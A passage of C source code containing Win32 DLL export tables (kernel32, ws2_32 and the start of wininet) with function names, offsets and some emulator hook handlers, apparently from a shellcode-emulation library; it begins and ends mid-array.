NULL, NULL}, {"MoveFileWithProgressW", 0x0001F72E, NULL, NULL}, {"MulDiv", 0x000097C6, NULL, NULL}, {"MultiByteToWideChar", 0x00009BF8, NULL, NULL}, {"NlsConvertIntegerToString", 0x00014F5C, NULL, NULL}, {"NlsGetCacheUpdateCount", 0x00035819, NULL, NULL}, {"NlsResetProcessLocale", 0x000763C9, NULL, NULL}, {"NumaVirtualQueryNode", 0x000600D2, NULL, NULL}, {"OpenConsoleW", 0x00010FE1, NULL, NULL}, {"OpenDataFile", 0x0002AD98, NULL, NULL}, {"OpenEventA", 0x0001320C, NULL, NULL}, {"OpenEventW", 0x00013140, NULL, NULL}, {"OpenFile", 0x00021982, NULL, NULL}, {"OpenFileMappingA", 0x0000BB76, NULL, NULL}, {"OpenFileMappingW", 0x0000BADA, NULL, NULL}, {"OpenJobObjectA", 0x0006B3F8, NULL, NULL}, {"OpenJobObjectW", 0x0006B280, NULL, NULL}, {"OpenMutexA", 0x0000EA1B, NULL, NULL}, {"OpenMutexW", 0x0000E995, NULL, NULL}, {"OpenProcess", 0x000309E1, NULL, NULL}, {"OpenProfileUserMapping", 0x0003331F, NULL, NULL}, {"OpenSemaphoreA", 0x0002CA47, NULL, NULL}, {"OpenSemaphoreW", 0x0002E30F, NULL, NULL}, {"OpenThread", 0x0002FC00, NULL, NULL}, {"OpenWaitableTimerA", 0x00061AF0, NULL, NULL}, {"OpenWaitableTimerW", 0x00061985, NULL, NULL}, {"OutputDebugStringA", 0x00059D78, NULL, NULL}, {"OutputDebugStringW", 0x0005A42D, NULL, NULL}, {"PeekConsoleInputA", 0x0007348D, NULL, NULL}, {"PeekConsoleInputW", 0x000734B0, NULL, NULL}, {"PeekNamedPipe", 0x0005F90F, NULL, NULL}, {"PostQueuedCompletionStatus", 0x000126F2, NULL, NULL}, {"PrepareTape", 0x0006B0E8, NULL, NULL}, {"PrivCopyFileExW", 0x0002005F, NULL, NULL}, {"PrivMoveFileIdentityW", 0x0005D0E9, NULL, NULL}, {"Process32First", 0x00063E1D, NULL, NULL}, {"Process32FirstW", 0x00063D64, NULL, NULL}, {"Process32Next", 0x00063F90, NULL, NULL}, {"Process32NextW", 0x00063EEF, NULL, NULL}, {"ProcessIdToSessionId", 0x00012F89, NULL, NULL}, {"PulseEvent", 0x0002C05E, NULL, NULL}, {"PurgeComm", 0x00065D02, NULL, NULL}, {"QueryActCtxW", 0x000162DB, NULL, NULL}, {"QueryDepthSList", 0x00009139, NULL, NULL}, {"QueryDosDeviceA", 0x0005C36C, NULL, NULL}, {"QueryDosDeviceW", 0x00021D8D, NULL, NULL}, {"QueryInformationJobObject", 0x0002AFC9, NULL, NULL}, {"QueryMemoryResourceNotification", 0x000395D8, NULL, NULL}, {"QueryPerformanceCounter", 0x0000A427, NULL, NULL}, {"QueryPerformanceFrequency", 0x0002FA46, NULL, NULL}, {"QueryWin31IniFilesMappedToRegistry", 0x0005B71C, NULL, NULL}, {"QueueUserAPC", 0x0002C082, NULL, NULL}, {"QueueUserWorkItem", 0x00030A62, NULL, NULL}, {"RaiseException", 0x00012A09, NULL, NULL}, {"ReadConsoleA", 0x00071A1D, NULL, NULL}, {"ReadConsoleInputA", 0x000734D3, NULL, NULL}, {"ReadConsoleInputExA", 0x00073519, NULL, NULL}, {"ReadConsoleInputExW", 0x0007353D, NULL, NULL}, {"ReadConsoleInputW", 0x000734F6, NULL, NULL}, {"ReadConsoleOutputA", 0x00072805, NULL, NULL}, {"ReadConsoleOutputAttribute", 0x00072D25, NULL, NULL}, {"ReadConsoleOutputCharacterA", 0x00072CD9, NULL, NULL}, {"ReadConsoleOutputCharacterW", 0x00072CFF, NULL, NULL}, {"ReadConsoleOutputW", 0x000727E1, NULL, NULL}, {"ReadConsoleW", 0x00071A6C, NULL, NULL}, {"ReadDirectoryChangesW", 0x0003162F, NULL, NULL}, {"ReadFile", 0x0000180E, NULL, NULL}, {"ReadFileEx", 0x0002BCFB, NULL, NULL}, {"ReadFileScatter", 0x0002DE51, NULL, NULL}, {"ReadProcessMemory", 0x000021CC, NULL, NULL}, {"RegisterConsoleIME", 0x00074AB9, NULL, NULL}, {"RegisterConsoleOS2", 0x000748C9, NULL, NULL}, {"RegisterConsoleVDM", 0x00071AC2, NULL, NULL}, {"RegisterWaitForInputIdle", 0x00016F8E, NULL, NULL}, {"RegisterWaitForSingleObject", 0x000211CD, NULL, NULL}, {"RegisterWaitForSingleObjectEx", 0x0002B086, NULL, NULL}, {"RegisterWowBaseHandlers", 0x0005E65A, NULL, NULL}, {"RegisterWowExec", 0x000679A9, NULL, NULL}, {"ReleaseActCtx", 0x0001305F, NULL, NULL}, {"ReleaseMutex", 0x000024A7, NULL, NULL}, {"ReleaseSemaphore", 0x0000BFAD, NULL, NULL}, {"RemoveDirectoryA", 0x0005B219, NULL, NULL}, {"RemoveDirectoryW", 0x00036F5B, NULL, NULL}, {"RemoveLocalAlternateComputerNameA", 0x00059050, NULL, NULL}, {"RemoveLocalAlternateComputerNameW", 0x00058F6F, NULL, NULL}, {"RemoveVectoredExceptionHandler", 0x00009152, NULL, NULL}, {"ReplaceFile", 0x00036C3C, NULL, NULL}, {"ReplaceFileA", 0x0005E307, NULL, NULL}, {"ReplaceFileW", 0x00036C3C, NULL, NULL}, {"RequestDeviceWakeup", 0x00060B6F, NULL, NULL}, {"RequestWakeupLatency", 0x00060AF4, NULL, NULL}, {"ResetEvent", 0x0000A03B, NULL, NULL}, {"ResetWriteWatch", 0x0005E803, NULL, NULL}, {"RestoreLastError", 0x0000917A, NULL, NULL}, {"ResumeThread", 0x000328F7, NULL, NULL}, {"RtlCaptureContext", 0x00009199, NULL, NULL}, {"RtlCaptureStackBackTrace", 0x000091B1, NULL, NULL}, {"RtlFillMemory", 0x000091D0, NULL, NULL}, {"RtlMoveMemory", 0x000091E4, NULL, NULL}, {"RtlUnwind", 0x000091F8, NULL, NULL}, {"RtlZeroMemory", 0x00009208, NULL, NULL}, {"ScrollConsoleScreenBufferA", 0x00073F21, NULL, NULL}, {"ScrollConsoleScreenBufferW", 0x00073F45, NULL, NULL}, {"SearchPathA", 0x000217EA, NULL, NULL}, {"SearchPathW", 0x0000E6DC, NULL, NULL}, {"SetCPGlobal", 0x000797C3, NULL, NULL}, {"SetCalendarInfoA", 0x00075AD6, NULL, NULL}, {"SetCalendarInfoW", 0x00076D1B, NULL, NULL}, {"SetClientTimeZoneInformation", 0x00059A31, NULL, NULL}, {"SetComPlusPackageInstallStatus", 0x0006BB65, NULL, NULL}, {"SetCommBreak", 0x00065D8C, NULL, NULL}, {"SetCommConfig", 0x00066EAB, NULL, NULL}, {"SetCommMask", 0x00065DA4, NULL, NULL}, {"SetCommState", 0x00065E43, NULL, NULL}, {"SetCommTimeouts", 0x0006614B, NULL, NULL}, {"SetComputerNameA", 0x00058234, NULL, NULL}, {"SetComputerNameExA", 0x0005834C, NULL, NULL}, {"SetComputerNameExW", 0x000581B3, NULL, NULL}, {"SetComputerNameW", 0x0005808D, NULL, NULL}, {"SetConsoleActiveScreenBuffer", 0x00073AA8, NULL, NULL}, {"SetConsoleCP", 0x00074143, NULL, NULL}, {"SetConsoleCommandHistoryMode", 0x000709C5, NULL, NULL}, {"SetConsoleCtrlHandler", 0x0001B58B, NULL, NULL}, {"SetConsoleCursor", 0x00071EEA, NULL, NULL}, {"SetConsoleCursorInfo", 0x00073C84, NULL, NULL}, {"SetConsoleCursorMode", 0x0007477F, NULL, NULL}, {"SetConsoleCursorPosition", 0x00073C0A, NULL, NULL}, {"SetConsoleDisplayMode", 0x000720A0, NULL, NULL}, {"SetConsoleFont", 0x00073FE5, NULL, NULL}, {"SetConsoleHardwareState", 0x00071CE9, NULL, NULL}, {"SetConsoleIcon", 0x0007405F, NULL, NULL}, {"SetConsoleInputExeNameA", 0x00070DA8, NULL, NULL}, {"SetConsoleInputExeNameW", 0x0001B355, NULL, NULL}, {"SetConsoleKeyShortcuts", 0x00071D69, NULL, NULL}, {"SetConsoleLocalEUDC", 0x000746B9, NULL, NULL}, {"SetConsoleMaximumWindowSize", 0x0007F215, NULL, NULL}, {"SetConsoleMenuClose", 0x00071E30, NULL, NULL}, {"SetConsoleMode", 0x0001B1F0, NULL, NULL}, {"SetConsoleNlsMode", 0x000750D9, NULL, NULL}, {"SetConsoleNumberOfCommandsA", 0x00070725, NULL, NULL}, {"SetConsoleNumberOfCommandsW", 0x0007070A, NULL, NULL}, {"SetConsoleOS2OemFormat", 0x0007493D, NULL, NULL}, {"SetConsoleOutputCP", 0x00074261, NULL, NULL}, {"SetConsolePalette", 0x000721C9, NULL, NULL}, {"SetConsoleScreenBufferSize", 0x00073B90, NULL, NULL}, {"SetConsoleTextAttribute", 0x00073F69, NULL, NULL}, {"SetConsoleTitleA", 0x00070A61, NULL, NULL}, {"SetConsoleTitleW", 0x0002D9BD, NULL, NULL}, {"SetConsoleWindowInfo", 0x00073D51, NULL, NULL}, {"SetCriticalSectionSpinCount", 0x0000921C, NULL, NULL}, {"SetCurrentDirectoryA", 0x000360DD, NULL, NULL}, {"SetCurrentDirectoryW", 0x0000F2EE, NULL, NULL}, {"SetDefaultCommConfigA", 0x00066C11, NULL, NULL}, {"SetDefaultCommConfigW", 0x00066B19, NULL, NULL}, {"SetDllDirectoryA", 0x0005ED46, NULL, NULL}, {"SetDllDirectoryW", 0x0005ECB0, NULL, NULL}, {"SetEndOfFile", 0x00032044, NULL, NULL}, {"SetEnvironmentVariableA", 0x00033478, NULL, NULL}, {"SetEnvironmentVariableW", 0x000101BE, NULL, NULL}, {"SetErrorMode", 0x0000AC0F, NULL, NULL}, {"SetEvent", 0x0000A017, NULL, NULL}, {"SetFileApisToANSI", 0x000365F6, NULL, NULL}, {"SetFileApisToOEM", 0x0001D07E, NULL, NULL}, {"SetFileAttributesA", 0x00012782, NULL, NULL}, {"SetFileAttributesW", 0x000314D5, NULL, NULL}, {"SetFilePointer", 0x00010B8E, env_w32_hook_SetFilePointer, NULL}, {"SetFilePointerEx", 0x00021057, NULL, NULL}, {"SetFileShortNameA", 0x0005C8C4, NULL, NULL}, {"SetFileShortNameW", 0x0005C7F7, NULL, NULL}, {"SetFileTime", 0x00031CB8, NULL, NULL}, {"SetFileValidData", 0x0005C7A1, NULL, NULL}, {"SetFirmwareEnvironmentVariableA", 0x0005E5C7, NULL, NULL}, {"SetFirmwareEnvironmentVariableW", 0x0005E4AC, NULL, NULL}, {"SetHandleContext", 0x0002146C, NULL, NULL}, {"SetHandleCount", 0x0000CC97, NULL, NULL}, {"SetHandleInformation", 0x0002E18C, NULL, NULL}, {"SetInformationJobObject", 0x0002CA9F, NULL, NULL}, {"SetLastConsoleEventActive", 0x000754D3, NULL, NULL}, {"SetLastError", 0x00009241, NULL, NULL}, {"SetLocalPrimaryComputerNameA", 0x000592AF, NULL, NULL}, {"SetLocalPrimaryComputerNameW", 0x00059099, NULL, NULL}, {"SetLocalTime", 0x00055921, NULL, NULL}, {"SetLocaleInfoA", 0x000758CB, NULL, NULL}, {"SetLocaleInfoW", 0x00076E73, NULL, NULL}, {"SetMailslotInfo", 0x0002CDD8, NULL, NULL}, {"SetMessageWaitingIndicator", 0x00060BBF, NULL, NULL}, {"SetNamedPipeHandleState", 0x000313EC, NULL, NULL}, {"SetPriorityClass", 0x0002C338, NULL, NULL}, {"SetProcessAffinityMask", 0x000610B0, NULL, NULL}, {"SetProcessPriorityBoost", 0x000610E0, NULL, NULL}, {"SetProcessShutdownParameters", 0x0002C8ED, NULL, NULL}, {"SetProcessWorkingSetSize", 0x000303D0, NULL, NULL}, {"SetStdHandle", 0x0001DC03, NULL, NULL}, {"SetSystemPowerState", 0x00060AAB, NULL, NULL}, {"SetSystemTime", 0x000593BE, NULL, NULL}, {"SetSystemTimeAdjustment", 0x00059584, NULL, NULL}, {"SetTapeParameters", 0x0006B21E, NULL, NULL}, {"SetTapePosition", 0x0006B046, NULL, NULL}, {"SetTermsrvAppInstallMode", 0x00061BA2, NULL, NULL}, {"SetThreadAffinityMask", 0x0002FA7A, NULL, NULL}, {"SetThreadContext", 0x00062AA5, NULL, NULL}, {"SetThreadExecutionState", 0x000392B5, NULL, NULL}, {"SetThreadIdealProcessor", 0x00062D48, NULL, NULL}, {"SetThreadLocale", 0x0001BBBA, NULL, NULL}, {"SetThreadPriority", 0x0000C108, NULL, NULL}, {"SetThreadPriorityBoost", 0x00062A30, NULL, NULL}, {"SetThreadUILanguage", 0x0001B258, NULL, NULL}, {"SetTimeZoneInformation", 0x0005945E, NULL, NULL}, {"SetTimerQueueTimer", 0x0002B26E, NULL, NULL}, {"SetUnhandledExceptionFilter", 0x0004479D, env_w32_hook_SetUnhandledExceptionFilter, NULL}, {"SetUserGeoID", 0x00078C5C, NULL, NULL}, {"SetVDMCurrentDirectories", 0x00067714, NULL, NULL}, {"SetVolumeLabelA", 0x000609ED, NULL, NULL}, {"SetVolumeLabelW", 0x00060499, NULL, NULL}, {"SetVolumeMountPointA", 0x0006A091, NULL, NULL}, {"SetVolumeMountPointW", 0x00069395, NULL, NULL}, {"SetWaitableTimer", 0x000095F9, NULL, NULL}, {"SetupComm", 0x000656C7, NULL, NULL}, {"ShowConsoleCursor", 0x00071F64, NULL, NULL}, {"SignalObjectAndWait", 0x00036696, NULL, NULL}, {"SizeofResource", 0x0000BC69, NULL, NULL}, {"Sleep", 0x00002442, env_w32_hook_Sleep, NULL}, {"SleepEx", 0x0000239C, NULL, NULL}, {"SuspendThread", 0x00039732, NULL, NULL}, {"SwitchToFiber", 0x00010672, NULL, NULL}, {"SwitchToThread", 0x00032992, NULL, NULL}, {"SystemTimeToFileTime", 0x00010B1C, NULL, NULL}, {"SystemTimeToTzSpecificLocalTime", 0x0002E9C1, NULL, NULL}, {"TerminateJobObject", 0x0006B2F7, NULL, NULL}, {"TerminateProcess", 0x00001E16, NULL, NULL}, {"TerminateThread", 0x0001CE03, NULL, NULL}, {"TermsrvAppInstallMode", 0x0001EFCE, NULL, NULL}, {"Thread32First", 0x00064062, NULL, NULL}, {"Thread32Next", 0x00064116, NULL, NULL}, {"TlsAlloc", 0x00012D9F, NULL, NULL}, {"TlsFree", 0x000136D7, NULL, NULL}, {"TlsGetValue", 0x00009740, NULL, NULL}, {"TlsSetValue", 0x00009BC5, NULL, NULL}, {"Toolhelp32ReadProcessMemory", 0x00063D24, NULL, NULL}, {"TransactNamedPipe", 0x000312E5, NULL, NULL}, {"TransmitCommChar", 0x000661F6, NULL, NULL}, {"TrimVirtualBuffer", 0x0005EC4E, NULL, NULL}, {"TryEnterCriticalSection", 0x0000925C, NULL, NULL}, {"TzSpecificLocalTimeToSystemTime", 0x000595C1, NULL, NULL}, {"UTRegister", 0x0005EEF0, NULL, NULL}, {"UTUnRegister", 0x0007E98D, NULL, NULL}, {"UnhandledExceptionFilter", 0x00062E62, NULL, NULL}, {"UnlockFile", 0x000322BC, NULL, NULL}, {"UnlockFileEx", 0x000322FB, NULL, NULL}, {"UnmapViewOfFile", 0x0000B974, env_w32_hook_UnmapViewOfFile, NULL}, {"UnregisterConsoleIME", 0x00074B86, NULL, NULL}, {"UnregisterWait", 0x0002BFF8, NULL, NULL}, {"UnregisterWaitEx", 0x00030062, NULL, NULL}, {"UpdateResourceA", 0x0006F6AA, NULL, NULL}, {"UpdateResourceW", 0x0006F5A3, NULL, NULL}, {"VDMConsoleOperation", 0x000754E4, NULL, NULL}, {"VDMOperationStarted", 0x00067E19, NULL, NULL}, {"ValidateLCType", 0x0007AA95, NULL, NULL}, {"ValidateLocale", 0x000397F8, NULL, NULL}, {"VerLanguageNameA", 0x0002EFB9, NULL, NULL}, {"VerLanguageNameW", 0x0002F041, NULL, NULL}, {"VerSetConditionMask", 0x0000927D, NULL, NULL}, {"VerifyConsoleIoHandle", 0x0001AEAA, NULL, NULL}, {"VerifyVersionInfoA", 0x0005EE46, NULL, NULL}, {"VerifyVersionInfoW", 0x0001FB26, NULL, NULL}, {"VirtualAlloc", 0x00009A51, NULL, NULL}, {"VirtualAllocEx", 0x00009A72, NULL, NULL}, {"VirtualBufferExceptionHandler", 0x0005EC71, NULL, NULL}, {"VirtualFree", 0x00009AE4, NULL, NULL}, {"VirtualFreeEx", 0x00009B02, NULL, NULL}, {"VirtualLock", 0x0002B13F, NULL, NULL}, {"VirtualProtect", 0x00001AD0, env_w32_hook_VirtualProtect, NULL}, {"VirtualProtectEx", 0x00001A5D, env_w32_hook_VirtualProtectEx, NULL}, {"VirtualQuery", 0x0000B9D1, NULL, NULL}, {"VirtualQueryEx", 0x0000B9A0, NULL, NULL}, {"VirtualUnlock", 0x0005E6DA, NULL, NULL}, {"WTSGetActiveConsoleSessionId", 0x000132EE, NULL, NULL}, {"WaitCommEvent", 0x00066280, NULL, NULL}, {"WaitForDebugEvent", 0x0005A480, NULL, NULL}, {"WaitForMultipleObjects", 0x0000A05D, NULL, NULL}, {"WaitForMultipleObjectsEx", 0x0000952A, NULL, NULL}, {"WaitForSingleObject", 0x00002520, env_w32_hook_WaitForSingleObject, NULL}, {"WaitForSingleObjectEx", 0x00002540, NULL, NULL}, {"WaitNamedPipeA", 0x0005FC39, NULL, NULL}, {"WaitNamedPipeW", 0x0002C664, NULL, NULL}, {"WideCharToMultiByte", 0x0000A0D4, NULL, NULL}, {"WinExec", 0x0006136D, env_w32_hook_WinExec, NULL}, {"WriteConsoleA", 0x0001CF25, NULL, NULL}, {"WriteConsoleInputA", 0x000723C5, NULL, NULL}, {"WriteConsoleInputVDMA", 0x00071EA4, NULL, NULL}, {"WriteConsoleInputVDMW", 0x00071EC7, NULL, NULL}, {"WriteConsoleInputW", 0x000723E8, NULL, NULL}, {"WriteConsoleOutputA", 0x00072B45, NULL, NULL}, {"WriteConsoleOutputAttribute", 0x00072EF1, NULL, NULL}, {"WriteConsoleOutputCharacterA", 0x00072EA5, NULL, NULL}, {"WriteConsoleOutputCharacterW", 0x00072ECB, NULL, NULL}, {"WriteConsoleOutputW", 0x00072B21, NULL, NULL}, {"WriteConsoleW", 0x00035484, NULL, NULL}, {"WriteFile", 0x00010D87, env_w32_hook_WriteFile, NULL}, {"WriteFileEx", 0x0005C701, NULL, NULL}, {"WriteFileGather", 0x0002DDA5, NULL, NULL}, {"WritePrivateProfileSectionA", 0x0005BA7C, NULL, NULL}, {"WritePrivateProfileSectionW", 0x0005BAC3, NULL, NULL}, {"WritePrivateProfileStringA", 0x00035D54, NULL, NULL}, {"WritePrivateProfileStringW", 0x0001EE4C, NULL, NULL}, {"WritePrivateProfileStructA", 0x0005BE23, NULL, NULL}, {"WritePrivateProfileStructW", 0x0005BF65, NULL, NULL}, {"WriteProcessMemory", 0x0000220F, NULL, NULL}, {"WriteProfileSectionA", 0x0005C0F5, NULL, NULL}, {"WriteProfileSectionW", 0x0005C12E, NULL, NULL}, {"WriteProfileStringA", 0x0005C0B9, NULL, NULL}, {"WriteProfileStringW", 0x000332B1, NULL, NULL}, {"WriteTapemark", 0x0006B188, NULL, NULL}, {"ZombifyActCtx", 0x0006B6FB, NULL, NULL}, {"_hread", 0x000353CE, NULL, NULL}, {"_hwrite", 0x00038AE7, env_w32_hook__hwrite, NULL}, {"_lclose", 0x00034E64, env_w32_hook__lclose, NULL}, {"_lcreat", 0x000365A5, env_w32_hook__lcreat, NULL}, {"_llseek", 0x00035406, NULL, NULL}, {"_lopen", 0x0005E830, NULL, NULL}, {"_lread", 0x000353CE, NULL, NULL}, {"_lwrite", 0x00038AE7, env_w32_hook__lwrite, NULL}, {"lstrcat", 0x00034D41, NULL, NULL}, {"lstrcatA", 0x00034D41, NULL, NULL}, {"lstrcatW", 0x00010F32, NULL, NULL}, {"lstrcmp", 0x00030D74, NULL, NULL}, {"lstrcmpA", 0x00030D74, NULL, NULL}, {"lstrcmpW", 0x0000A9CC, NULL, NULL}, {"lstrcmpi", 0x0000BAA1, NULL, NULL}, {"lstrcmpiA", 0x0000BAA1, NULL, NULL}, {"lstrcmpiW", 0x0000A996, NULL, NULL}, {"lstrcpy", 0x0000BE01, NULL, NULL}, {"lstrcpyA", 0x0000BE01, NULL, NULL}, {"lstrcpyW", 0x0000BA64, NULL, NULL}, {"lstrcpyn", 0x00010111, NULL, NULL}, {"lstrcpynA", 0x00010111, NULL, NULL}, {"lstrcpynW", 0x0000B9EF, NULL, NULL}, {"lstrlen", 0x0000BDB6, NULL, NULL}, {"lstrlenA", 0x0000BDB6, NULL, NULL}, {"lstrlenW", 0x00009A09, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export ws2_32_exports[] = { {"accept", 0x00011028, env_w32_hook_accept, NULL}, {"bind", 0x00003E00, env_w32_hook_bind, NULL}, {"closesocket", 0x00009639, env_w32_hook_closesocket, NULL}, {"connect", 0x0000406A, env_w32_hook_connect, NULL}, {"getpeername", 0x00010B50, NULL, NULL}, {"getsockname", 0x0000951E, NULL, NULL}, {"getsockopt", 0x000046C9, NULL, NULL}, {"htonl", 0x00002BC0, NULL, NULL}, {"htons", 0x00002B66, NULL, NULL}, {"ioctlsocket", 0x00004519, NULL, NULL}, {"inet_addr", 0x00002BF4, NULL, NULL}, {"inet_ntoa", 0x00003F41, NULL, NULL}, {"listen", 0x000088D3, env_w32_hook_listen, NULL}, {"ntohl", 0x00002BC0, NULL, NULL}, {"ntohs", 0x00002B66, NULL, NULL}, {"recv", 0x0000615A, env_w32_hook_recv, NULL}, {"recvfrom", 0x00002D0F, NULL, NULL}, {"select", 0x00002DC0, NULL, NULL}, {"send", 0x0000428A, env_w32_hook_send, NULL}, {"sendto", 0x00002C69, env_w32_hook_sendto, NULL}, {"setsockopt", 0x00003EA1, NULL, NULL}, {"shutdown", 0x00010BDE, NULL, NULL}, {"socket", 0x00003B91, env_w32_hook_socket, NULL}, {"GetAddrInfoW", 0x00002899, NULL, NULL}, {"GetNameInfoW", 0x0000C4EC, NULL, NULL}, {"WSApSetPostRoutine", 0x00011EC9, NULL, NULL}, {"FreeAddrInfoW", 0x00002B0B, NULL, NULL}, {"WPUCompleteOverlappedRequest", 0x00011CA7, NULL, NULL}, {"WSAAccept", 0x00010DA9, NULL, NULL}, {"WSAAddressToStringA", 0x000091F6, NULL, NULL}, {"WSAAddressToStringW", 0x000062B2, NULL, NULL}, {"WSACloseEvent", 0x00004682, NULL, NULL}, {"WSAConnect", 0x00010C69, NULL, NULL}, {"WSACreateEvent", 0x000045F7, NULL, NULL}, {"WSADuplicateSocketA", 0x0000DB82, NULL, NULL}, {"WSADuplicateSocketW", 0x0000DAF4, NULL, NULL}, {"WSAEnumNameSpaceProvidersA", 0x0000F9C9, NULL, NULL}, {"WSAEnumNameSpaceProvidersW", 0x0000FA29, NULL, NULL}, {"WSAEnumNetworkEvents", 0x00004617, NULL, NULL}, {"WSAEnumProtocolsA", 0x0000DC47, NULL, NULL}, {"WSAEnumProtocolsW", 0x0000848C, NULL, NULL}, {"WSAEventSelect", 0x00004573, NULL, NULL}, {"WSAGetOverlappedResult", 0x00010D03, NULL, NULL}, {"WSAGetQOSByName", 0x0000F458, NULL, NULL}, {"WSAGetServiceClassInfoA", 0x00010428, NULL, NULL}, {"WSAGetServiceClassInfoW", 0x00010141, NULL, NULL}, {"WSAGetServiceClassNameByClassIdA", 0x0000FD87, NULL, NULL}, {"WSAGetServiceClassNameByClassIdW", 0x0000FF69, NULL, NULL}, {"WSAHtonl", 0x0000BCC9, NULL, NULL}, {"WSAHtons", 0x0000BDB1, NULL, NULL}, {"gethostbyaddr", 0x0000E479, NULL, NULL}, {"gethostbyname", 0x00004FD4, NULL, NULL}, {"getprotobyname", 0x0000E176, NULL, NULL}, {"getprotobynumber", 0x0000E0B4, NULL, NULL}, {"getservbyname", 0x0000E6EB, NULL, NULL}, {"getservbyport", 0x0000E59D, NULL, NULL}, {"gethostname", 0x000050C8, NULL, NULL}, {"WSAInstallServiceClassA", 0x000103A9, NULL, NULL}, {"WSAInstallServiceClassW", 0x0000FBB1, NULL, NULL}, {"WSAIoctl", 0x00004489, NULL, NULL}, {"WSAJoinLeaf", 0x00010F58, NULL, NULL}, {"WSALookupServiceBeginA", 0x000052AA, NULL, NULL}, {"WSALookupServiceBeginW", 0x00003307, NULL, NULL}, {"WSALookupServiceEnd", 0x00003226, NULL, NULL}, {"WSALookupServiceNextA", 0x0000570E, NULL, NULL}, {"WSALookupServiceNextW", 0x00002E99, NULL, NULL}, {"WSANSPIoctl", 0x00004D06, NULL, NULL}, {"WSANtohl", 0x0000BCC9, NULL, NULL}, {"WSANtohs", 0x0000BDB1, NULL, NULL}, {"WSAProviderConfigChange", 0x0000881F, NULL, NULL}, {"WSARecv", 0x00004318, NULL, NULL}, {"WSARecvDisconnect", 0x0000F5D6, NULL, NULL}, {"WSARecvFrom", 0x0000F652, NULL, NULL}, {"WSARemoveServiceClass", 0x0000FC9C, NULL, NULL}, {"WSAResetEvent", 0x0000949F, NULL, NULL}, {"WSASend", 0x00006233, NULL, NULL}, {"WSASendDisconnect", 0x00010A0A, NULL, NULL}, {"WSASendTo", 0x00010A95, NULL, NULL}, {"WSASetEvent", 0x000094B0, NULL, NULL}, {"WSASetServiceA", 0x000104BA, NULL, NULL}, {"WSASetServiceW", 0x00010269, NULL, NULL}, {"WSASocketA", 0x00008769, env_w32_hook_WSASocketA, NULL}, {"WSASocketW", 0x000039CB, NULL, NULL}, {"WSAStringToAddressA", 0x000090D8, NULL, NULL}, {"WSAStringToAddressW", 0x0000281E, NULL, NULL}, {"WSAWaitForMultipleEvents", 0x0000948E, NULL, NULL}, {"WSCDeinstallProvider", 0x000119B1, NULL, NULL}, {"WSCEnableNSProvider", 0x0000EE41, NULL, NULL}, {"WSCEnumProtocols", 0x00007761, NULL, NULL}, {"WSCGetProviderPath", 0x00008A27, NULL, NULL}, {"WSCInstallNameSpace", 0x0000F135, NULL, NULL}, {"WSCInstallProvider", 0x0001164D, NULL, NULL}, {"WSCUnInstallNameSpace", 0x0000F301, NULL, NULL}, {"WSCUpdateProvider", 0x00011279, NULL, NULL}, {"WSCWriteNameSpaceOrder", 0x0000F001, NULL, NULL}, {"WSCWriteProviderOrder", 0x00011519, NULL, NULL}, {"freeaddrinfo", 0x00002B0B, NULL, NULL}, {"getaddrinfo", 0x00002A6F, NULL, NULL}, {"getnameinfo", 0x0000C671, NULL, NULL}, {"WSAAsyncSelect", 0x00010979, NULL, NULL}, {"WSAAsyncGetHostByAddr", 0x0000EA2B, NULL, NULL}, {"WSAAsyncGetHostByName", 0x0000E985, NULL, NULL}, {"WSAAsyncGetProtoByNumber", 0x0000E2AB, NULL, NULL}, {"WSAAsyncGetProtoByName", 0x0000EAD5, NULL, NULL}, {"WSAAsyncGetServByPort", 0x0000E8FB, NULL, NULL}, {"WSAAsyncGetServByName", 0x0000E84F, NULL, NULL}, {"WSACancelAsyncRequest", 0x0000E32F, NULL, NULL}, {"WSASetBlockingHook", 0x0000D494, NULL, NULL}, {"WSAUnhookBlockingHook", 0x0000D4F0, NULL, NULL}, {"WSAGetLastError", 0x000094DC, NULL, NULL}, {"WSASetLastError", 0x00002A5E, NULL, NULL}, {"WSACancelBlockingCall", 0x0000D3F2, NULL, NULL}, {"WSAIsBlocking", 0x0000D441, NULL, NULL}, {"WSAStartup", 0x0000664D, env_w32_hook_WSAStartup, NULL}, {"WSACleanup", 0x00004428, NULL, NULL}, {"__WSAFDIsSet", 0x00004544, NULL, NULL}, {"WEP", 0x00012105, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export wininet_exports[] = { {"CommitUrlCacheEntryA", 0x00021B82, NULL, NULL}, {"CommitUrlCacheEntryW", 0x0006F7E3, NULL, NULL}, {"CreateMD5SSOHash", 0x000487B7, NULL, NULL}, {"CreateUrlCacheContainerA", 0x0006EA79, NULL, NULL}, {"CreateUrlCacheContainerW", 0x00070346, NULL, NULL}, {"CreateUrlCacheEntryA", 0x0006EB0B, NULL, NULL}, {"CreateUrlCacheEntryW", 0x0006F607, NULL, NULL}, {"CreateUrlCacheGroup", 0x00070C66, NULL, NULL}, {"DeleteIE3Cache", 0x00071F68, NULL, NULL}, {"DeleteUrlCacheContainerA", 0x0006EAC7, NULL, NULL}, {"DeleteUrlCacheContainerW", 0x000705A4, NULL, NULL}, {"DeleteUrlCacheEntry", 0x000279AA, NULL, NULL}, {"DeleteUrlCacheEntryA", 0x000279AA, NULL, NULL}, {"DeleteUrlCacheEntryW", 0x00070091, NULL, NULL}, {"DeleteUrlCacheGroup", 0x00070CB1, NULL, NULL}, {"DetectAutoProxyUrl", 0x0001FA6E, NULL, NULL}, {"DllInstall", 0x00044D99, NULL, NULL}, {"FindCloseUrlCache", 0x000216DD, NULL, NULL}, {"FindFirstUrlCacheContainerA", 0x00021C8F, NULL, NULL}, {"FindFirstUrlCacheContainerW", 0x00070676, NULL, NULL}, {"FindFirstUrlCacheEntryA", 0x000052B6, NULL, NULL}, {"FindFirstUrlCacheEntryExA", 0x0006EDED, NULL, NULL}, {"FindFirstUrlCacheEntryExW", 0x0006FE59, NULL, NULL}, {"FindFirstUrlCacheEntryW", 0x00070AFD, NULL, NULL}, {"FindFirstUrlCacheGroup", 0x00070CF9, NULL, NULL}, {"FindNextUrlCacheContainerA", 0x00021CDE, NULL, NULL}, {"FindNextUrlCacheContainerW", 0x00070719, NULL, NULL}, {"FindNextUrlCacheEntryA", 0x0002186A, NULL, NULL}, {"FindNextUrlCacheEntryExA", 0x0006EE72, NULL, NULL}, {"FindNextUrlCacheEntryExW", 0x0006FE8F, NULL, NULL}, {"FindNextUrlCacheEntryW", 0x00070B27, NULL, NULL}, {"FindNextUrlCacheGroup", 0x00070D60, NULL, NULL}, {"ForceNexusLookup", 0x0004878B, NULL, NULL}, {"ForceNexusLookupExW", 